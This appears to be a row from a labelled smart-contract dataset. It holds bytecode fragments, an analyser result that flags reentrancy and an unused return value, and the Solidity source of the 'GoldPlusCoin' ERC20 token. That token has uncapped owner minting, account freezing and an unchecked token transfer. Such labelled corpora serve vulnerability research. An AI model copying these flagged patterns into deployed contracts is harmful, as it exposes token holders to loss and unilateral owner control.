65b905060006115c060646115a78a89611638565b905060006115d8826115d28b866114e3565b906114e3565b9992985090965090945050505050565b60008080806115f78886611638565b905060006116058887611638565b905060006116138888611638565b90506000611625826115d286866114e3565b939b939a50919850919650505050505050565b60008261164757506000610428565b60006116538385611a29565b9050826116608583611a07565b1461108c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b80356116c281611abc565b919050565b6000602082840312156116d957600080fd5b813561108c81611abc565b6000602082840312156116f657600080fd5b815161108c81611abc565b6000806040838503121561171457600080fd5b823561171f81611abc565b9150602083013561172f81611abc565b809150509250929050565b60008060006060848603121561174f57600080fd5b833561175a81611abc565b9250602084013561176a81611abc565b929592945050506040919091013590565b6000806040838503121561178e57600080fd5b823561179981611abc565b946020939093013593505050565b600060208083850312156117ba57600080fd5b823567ffffffffffffffff808211156117d257600080fd5b818501915085601f8301126117e657600080fd5b8135818111156117f8576117f8611aa6565b8060051b604051601f19603f8301168101818110858211171561181d5761181d611aa6565b604052828152858101935084860182860187018a101561183c57600080fd5b600095505b8386101561186657611852816116b7565b855260019590950194938601938601611841565b5098975050505050505050565b60006020828403121561188557600080fd5b813561108c81611ad1565b6000602082840312156118a257600080fd5b815161108c81611ad1565b6000602082840312156118bf57600080fd5b5035919050565b6000806000606084860312156118db57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561192157858101830151858201604001528201611905565b81811115611933576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ce5784516001600160a01b0316835293830193918301916001016119a9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0257611a02611a7a565b500190565b600082611a2457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4357611a43611a7a565b500290565b600082821015611a5a57611a5a611a7a565b500390565b6000600019821415611a7357611a73611a7a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047657600080fd5b801515811461047657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ca3f5db20c687b7821e7840fb4f09fc50d08d2777ea205f086a17ad1c174ff664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,842
0x6393d8c4b9f6a380b2b3584c3205c29aea14d12a
/** *Submitted for verification at Etherscan.io on 2021-07-22 */ /** *Submitted for verification at Etherscan.io on 2021-04-21 * Ely Net and Tor Korea */ pragma solidity ^0.4.26; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract GoldPlusCoin is ERC20, Ownable, Pausable { using SafeMath for uint256; struct LockupInfo { uint256 releaseTime; uint256 termOfRound; uint256 unlockAmountPerRound; uint256 lockupBalance; } string public name; string public symbol; uint8 constant public decimals =18; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) internal locks; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => LockupInfo[]) internal lockupInfo; event Lock(address indexed holder, uint256 value); event Unlock(address indexed holder, uint256 value); event Burn(address indexed owner, uint256 value); event Mint(uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "GoldPlusCoin"; symbol = "GPC"; initialSupply = 1000000000; totalSupply_ = initialSupply * 10 ** uint(decimals); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } // function () public payable { revert(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) { if (locks[msg.sender]) { autoUnlock(msg.sender); } require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; if(locks[_holder]) { for(uint256 idx = 0; idx < lockupInfo[_holder].length ; idx++ ) { lockedBalance = lockedBalance.add(lockupInfo[_holder][idx].lockupBalance); } } return balances[_holder] + lockedBalance; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) { if (locks[_from]) { autoUnlock(_from); } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(isContract(_spender)); TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = (allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = (allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { require(balances[_holder] >= _amount); if(_termOfRound==0 ) { _termOfRound = 1; } balances[_holder] = balances[_holder].sub(_amount); lockupInfo[_holder].push( LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount) ); locks[_holder] = true; emit Lock(_holder, _amount); return true; } function unlock(address _holder, uint256 _idx) public onlyOwner returns (bool) { require(locks[_holder]); require(_idx < lockupInfo[_holder].length); LockupInfo storage lockupinfo = lockupInfo[_holder][_idx]; uint256 releaseAmount = lockupinfo.lockupBalance; delete lockupInfo[_holder][_idx]; lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)]; lockupInfo[_holder].length -=1; if(lockupInfo[_holder].length == 0) { locks[_holder] = false; } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } function freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } function getNowTime() public view returns(uint256) { return now; } function showLockState(address _holder, uint256 _idx) public view returns (bool, uint256, uint256, uint256, uint256, uint256) { if(locks[_holder]) { return ( locks[_holder], lockupInfo[_holder].length, lockupInfo[_holder][_idx].lockupBalance, lockupInfo[_holder][_idx].releaseTime, lockupInfo[_holder][_idx].termOfRound, lockupInfo[_holder][_idx].unlockAmountPerRound ); } else { return ( locks[_holder], lockupInfo[_holder].length, 0,0,0,0 ); } } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(owner, _to, _value); return true; } function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { distribute(_to, _value); lock(_to, _value, _releaseStart, _termOfRound, _releaseRate); return true; } function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) { token.transfer(_to, _value); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(address(0), _to, _amount); return true; } function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } function autoUnlock(address _holder) internal returns (bool) { for(uint256 idx =0; idx < lockupInfo[_holder].length ; idx++ ) { if(locks[_holder]==false) { return true; } if (lockupInfo[_holder][idx].releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( releaseTimeLock(_holder, idx) ) { idx -=1; } } } return true; } function releaseTimeLock(address _holder, uint256 _idx) internal returns(bool) { require(locks[_holder]); require(_idx < lockupInfo[_holder].length); // If lock status of holder is finished, delete lockup info. LockupInfo storage info = lockupInfo[_holder][_idx]; uint256 releaseAmount = info.unlockAmountPerRound; uint256 sinceFrom = now.sub(info.releaseTime); uint256 sinceRound = sinceFrom.div(info.termOfRound); releaseAmount = releaseAmount.add( sinceRound.mul(info.unlockAmountPerRound) ); if(releaseAmount >= info.lockupBalance) { releaseAmount = info.lockupBalance; delete lockupInfo[_holder][_idx]; lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)]; lockupInfo[_holder].length -=1; if(lockupInfo[_holder].length == 0) { locks[_holder] = false; } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } else { lockupInfo[_holder][_idx].releaseTime = lockupInfo[_holder][_idx].releaseTime.add( sinceRound.add(1).mul(info.termOfRound) ); lockupInfo[_holder][_idx].lockupBalance = lockupInfo[_holder][_idx].lockupBalance.sub(releaseAmount); emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return false; } } }
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610190578063095ea7b314610220578063125bfb661461028557806318160ddd1461030a57806323b872dd14610335578063313ce567146103ba57806339509351146103eb5780633f4ba83a1461045057806340c10f191461046757806342966c68146104cc5780635c975abb1461051157806370a0823114610540578063788649ea1461059757806379ba5097146105f25780637c759d0d146106215780637eee288d146106a45780638456cb59146107095780638da5cb5b1461072057806395d89b41146107775780639b819d3814610807578063a457c2d714610832578063a9059cbb14610897578063c572652b146108fc578063c9e075c61461097f578063cae9ca5114610a07578063d051665014610ab2578063d4ee1d9014610b0d578063dd62ed3e14610b64578063f26c159f14610bdb578063f2fde38b14610c36578063fb93210814610c79575b600080fd5b34801561019c57600080fd5b506101a5610cde565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e55780820151818401526020810190506101ca565b50505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d7c565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b506102f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8a565b604051808215151515815260200191505060405180910390f35b34801561031657600080fd5b5061031f610fd1565b6040518082815260200191505060405180910390f35b34801561034157600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fdb565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103cf61146f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103f757600080fd5b50610436600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611474565b604051808215151515815260200191505060405180910390f35b34801561045c57600080fd5b506104656116ab565b005b34801561047357600080fd5b506104b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176a565b604051808215151515815260200191505060405180910390f35b3480156104d857600080fd5b506104f7600480360381019080803590602001909291905050506118e7565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b50610526611a9e565b604051808215151515815260200191505060405180910390f35b34801561054c57600080fd5b50610581600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab1565b6040518082815260200191505060405180910390f35b3480156105a357600080fd5b506105d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c25565b604051808215151515815260200191505060405180910390f35b3480156105fe57600080fd5b50610607611d7e565b604051808215151515815260200191505060405180910390f35b34801561062d57600080fd5b5061068a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611f5b565b604051808215151515815260200191505060405180910390f35b3480156106b057600080fd5b506106ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612238565b604051808215151515815260200191505060405180910390f35b34801561071557600080fd5b5061071e61273d565b005b34801561072c57600080fd5b506107356127fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078357600080fd5b5061078c612821565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107cc5780820151818401526020810190506107b1565b50505050905090810190601f1680156107f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561081357600080fd5b5061081c6128bf565b6040518082815260200191505060405180910390f35b34801561083e57600080fd5b5061087d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506128c7565b604051808215151515815260200191505060405180910390f35b3480156108a357600080fd5b506108e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612afe565b604051808215151515815260200191505060405180910390f35b34801561090857600080fd5b50610965600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612df7565b604051808215151515815260200191505060405180910390f35b34801561098b57600080fd5b506109ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612e7a565b6040518087151515158152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b348015610a1357600080fd5b50610a98600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506131a7565b604051808215151515815260200191505060405180910390f35b348015610abe57600080fd5b50610af3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061333e565b604051808215151515815260200191505060405180910390f35b348015610b1957600080fd5b50610b2261335e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b7057600080fd5b50610bc5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613384565b6040518082815260200191505060405180910390f35b348015610be757600080fd5b50610c1c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061340b565b604051808215151515815260200191505060405180910390f35b348015610c4257600080fd5b50610c77600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613565565b005b348015610c8557600080fd5b50610cc4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613640565b604051808215151515815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d745780601f10610d4957610100808354040283529160200191610d74565b820191906000526020600020905b815481529060010190602001808311610d5757829003601f168201915b505050505081565b6000600160149054906101000a900460ff16151515610d9a57600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ee757600080fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f8a57600080fd5b505af1158015610f9e573d6000803e3d6000fd5b505050506040513d6020811015610fb457600080fd5b810190808051906020019092919050505050600190509392505050565b6000600554905090565b6000600160149054906101000a900460ff16151515610ff957600080fd5b83600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561105357600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110b0576110ae85613944565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156110ec57600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561113a57600080fd5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156111c557600080fd5b61121783600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112ac83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137e83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114b157600080fd5b61154082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170657600080fd5b600160149054906101000a900460ff16151561172157600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c757600080fd5b6117dc82600554613aa690919063ffffffff16565b60058190555061183482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561194557600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561199357600080fd5b3390506119e883600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a4083600554613a8d90919063ffffffff16565b6005819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001915050919050565b600160149054906101000a900460ff1681565b6000806000809150600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611bda57600090505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611bd957611bca600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611ba957fe5b90600052602060002090600402016003015483613aa690919063ffffffff16565b91508080600101915050611b10565b5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c8257600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611cda57600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515611dbb57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fb857600080fd5b84600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561200657600080fd5b600083141561201457600192505b61206685600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206080604051908101604052808681526020018581526020016121268561211860648b613ac490919063ffffffff16565b613adf90919063ffffffff16565b81526020018781525090806001815401808255809150509060018203906000526020600020906004020160009091929091909150600082015181600001556020820151816001015560408201518160020155606082015181600301555050506001600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427866040518082815260200191505060405180910390a26001905095945050505050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561229857600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156122f057600080fd5b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508410151561234057600080fd5b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561238c57fe5b9060005260206000209060040201915081600301549050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811015156123ef57fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206124b56001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613a8d90919063ffffffff16565b8154811015156124c157fe5b9060005260206000209060040201600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110151561251b57fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818180549050039150816125a99190614305565b506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050141561264e576000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8473ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1826040518082815260200191505060405180910390a26126ee81600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aa690919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff